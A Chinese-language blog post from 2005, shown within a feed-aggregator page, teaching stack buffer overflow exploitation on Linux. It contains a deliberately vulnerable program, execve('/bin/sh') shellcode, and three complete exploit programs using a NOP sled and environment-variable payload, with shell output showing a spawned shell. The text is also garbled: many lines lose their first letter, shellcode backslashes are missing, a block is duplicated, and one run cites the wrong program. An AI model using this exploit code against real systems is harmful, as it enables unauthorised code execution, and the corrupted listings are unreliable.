惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

G
GRAHAM CLULEY
Cloudbric
Cloudbric
L
LINUX DO - 最新话题
W
WeLiveSecurity
人人都是产品经理
人人都是产品经理
S
Security Affairs
Google Online Security Blog
Google Online Security Blog
Attack and Defense Labs
Attack and Defense Labs
Google DeepMind News
Google DeepMind News
宝玉的分享
宝玉的分享
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
TaoSecurity Blog
TaoSecurity Blog
罗磊的独立博客
博客园 - Franky
有赞技术团队
有赞技术团队
V2EX - 技术
V2EX - 技术
博客园 - 聂微东
Hacker News - Newest:
Hacker News - Newest: "LLM"
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
阮一峰的网络日志
阮一峰的网络日志
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
美团技术团队
WordPress大学
WordPress大学
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Jina AI
Jina AI
The Cloudflare Blog
S
Secure Thoughts
酷 壳 – CoolShell
酷 壳 – CoolShell
Last Week in AI
Last Week in AI
小众软件
小众软件
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
雷峰网
雷峰网
S
Security @ Cisco Blogs
T
Troy Hunt's Blog
O
OpenAI News
博客园 - 司徒正美
C
CXSECURITY Database RSS Feed - CXSecurity.com
T
Threat Research - Cisco Blogs
I
Intezer
T
Threatpost
Apple Machine Learning Research
Apple Machine Learning Research
H
Hacker News: Front Page
T
Tailwind CSS Blog
V
V2EX
Spread Privacy
Spread Privacy
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Security Archives - TechRepublic
Security Archives - TechRepublic
腾讯CDC
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Google DeepMind News
Google DeepMind News

博客园 - F4ncy Blog

没有钱我们能爱多久 编译器C-Free V352注册算法分析 深入分析Windows和Linux动态库应用异同 反垃圾邮件技术解析 实例解析网络钓鱼攻击的幕后 防范网络嗅探 Oracle数据库性能优化技术 获取成功人生的40条守则 计算机加密反跟踪技术密文技术 Rootkit 真刀真枪的权限保卫战 人在职场走不得不明白的八项管理定律 从管理员身份获得 SYSTEM 权限的四种方法 数据库系统防黑客入侵技术综述 女孩子要做妻子前应该知道的10件事 新高性能I/O技术现状和发展趋势综述 利用IP地址欺骗突破防火墙深层技术解析 Cast-128 加密算法和 MyPassWord 的破解 DialogBlocks2.0的注册算法 如何编写Loader
从头到脚了解缓冲溢出
F4ncy Blog · 2005-09-19 · via 博客园 - F4ncy Blog

从头到脚了解缓冲溢出

作者:Wendy

在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。

(Memory organization)存储器分为3个部分

1. 文本区域(程序区)

这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误。

2. 数据区域

这个部分存储静态变量,它的大小可以由brk()系统调用来改变。

3. 堆栈

堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中。

它也被用来动态分配函数中的变量,以及函数的参数和返回值。

返回地址和指令指针

计算机执行一条指令,并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后,RET将会替换IP,程序接着继续执行本来的流程。

一个缓冲溢出

让我们用一个例子来说明以下缓冲溢出。

lt;++> buffer/example.c
void main(){
char big_string[100];
char small_string[50];
memset(big_string,0x41,100);
/* strcpy(char *to,char *from) */
trcpy(small_string,big_string);}
lt;--> end of example.c
 
这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显,数组small_string不能容纳100个字符,因此,溢出产生。

接下来我们看看存储器中的变化情况:

[ big_string ] [ small_string ] [SFP] [RET]

在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着,计算机会试着去执行在0x41414141处的指令。这将会导致段冲突,因为这个地址已经超出了处理范围。

发掘漏洞

现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下。不是用A来覆盖,而是用一些特别的地址来达到我们的目的。

任意代码的执行

现在我们需要一些东西来指向地址并执行。在大多数情况下,我们需要产生一个shell,当然这不是惟一的方法。

Before:
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B = the buffer
E = stack frame pointer
R = return address
F = other data
After:
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S = shellcode
A = address pointing to the shellcode
F = other data

用C来产生shell的代码如下:

lt;++> buffer/shell.c
void main(){
char *name[2];
ame[0] = "/bin/sh";
ame[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
lt;--> end of shellcode
 
这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说,可以根据以下的步骤来完成:

- 用 -static flag 开关来编译上面的程序

- 用GDB来打开上面的程序,然后用“disassemble main”命令

- 去掉所有不必要的代码

- 用汇编来重写它

- 编译,然后再用GDB打开,用“disassemble main”命令

- 在指令地址使用 x/bx 命令,找回 hex-code.

或者你可以使用这些代码

char shellcode[]=
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

寻找地址

当我们尝试去溢出一个程序的缓冲区的时候,这个程序要寻找这个缓冲区的地址。这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的。因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了。

下面这个程序会告诉我们这个程序的的堆栈指针:

lt;++> buffer/getsp.c
unsigned long get_sp(void){
__asm__("movl %esp, %eax);
}
void main(){
fprintf(stdout,"0x%xn",get_sp());
}
lt;--> end of getsp.c

试一下下面这个例子

lt;++> buffer/hole.c
void main(int argc,char **argv[]){
char buffer[512];
if (argc > 1) /* otherwise we crash our little program */
trcpy(buffer,argv[1]);
}
lt;--> end of hole.c
lt;++> buffer/exploit1.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit1.c

现在我们可以猜出offset (bufferaddress = stackpointer + offset).

[hosts]$ exploit1 600

Using address: 0xbffff6c3

[hosts]$ ./hole $BUF

[hosts]$ exploit1 600 100

Using address: 0xbffffce6

[hosts]$ ./hole $BUF

egmentation fault

etc.

etc.

就象你所知道的那样,这个过程几乎是不可能发生的,这样,我们不得不去猜出更精确的溢出地址。为了增加我们的机会,我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了。

存储器的内容应该是这样的:

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP

S = shellcode

A = address pointing to the shellcode

F = other data

我们把原先的代码改了一下

lt;++> buffer/exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
uff[i] = NOP;
tr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit2.c
[hosts]$ exploit2 600
Using address: 0xbffff6c3
[hosts]$ ./hole $BUF
egmentation fault
[hosts]$ exploit2 600 100
Using address: 0xbffffce6
[hosts]$ ./hole $BUF
#exit
[hosts]$
 
为了更完善我们的代码,我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用,并把shellcode送到环境变量中去。

lt;++> buffer/exploit3.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_esp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
egg[eggsize - 1] = '0';
memcpy(egg,"BUF=",4);
utenv(egg);
memcpy(buff,"RET=",4);
utenv(buff);
ystem("/bin/bash");
}
end of exploit3.c
[hosts]$ exploit2 600
Using address: 0xbffff5d7
[hosts]$ ./hole $RET
#exit
[hosts]$

寻找溢出

当然有能更准确找到缓冲溢出的方法,那就是读它的源程序。因为Linux是个开放的系统,你很容易就可以得到它的源程序。

寻找没有边界校验的库函数调用,如:

trcpy(), strcat(), sprintf(), vsprintf(), scanf()

其他的具有危险的函数如:在“当型”循环中的getc()和getchar(),strncat函数的错误使用。